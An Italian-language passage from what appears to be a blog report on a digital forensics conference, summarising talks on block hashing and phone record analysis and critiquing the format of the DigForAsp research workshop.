David Toy ha proposto una tecnica per la ricerca di specifici elementi di “contrabbando” basata su un hashing statistico dei blocchi, fornendo tempi di risposta molto più veloci rispetto alle classiche ricerche che sfruttano gli hash di interi file. Infine, Paola Pietrobon di SecureCube ha concluso la giornata con un approfondimento relativo al funzionamento delle celle e all’analisi dei tabulati telefonici.
La seconda giornata ha avuto un taglio decisamente più scientifico
La giornata di mercoledì è stata dedicata in gran parte al workshop di DigForAsp (Digital forensics: evidence analysis via intelligent systems and practices), un progetto scientifico finanziato dal programma Horizon 2020 dell’Unione Europea. L’agenda è stata ricca di interventi molto interessanti e a contenuto veramente informatico.
I talk si rivolgevano pertanto a un pubblico con almeno alcune conoscenze matematiche di livello universitario, al fine di presentare il lavoro dei ricercatori presenti. Questo mi ha lasciato perplesso: a mio parere i contenuti scientifici erano molto validi ma il format non si è rivelato ottimale. I minuti disponibili per ogni intervento erano pochi e venivano spesi per presentare frettolosamente la parte teorica e matematica, relegando le applicazioni in ambito di informatica forense a brevi cenni che avrebbero meritato più spazio.
Nel complesso ho apprezzato molto questo evento e c’è stata anche la possibilità di rivedere alcuni amici, nonché scambiare due chiacchiere con gli espositori, compresi alcuni membri delle tre aziende italiane presenti. Se volete saperne di più sul contenuto della manifestazione potete trovare qui la lista completa dei seminari.
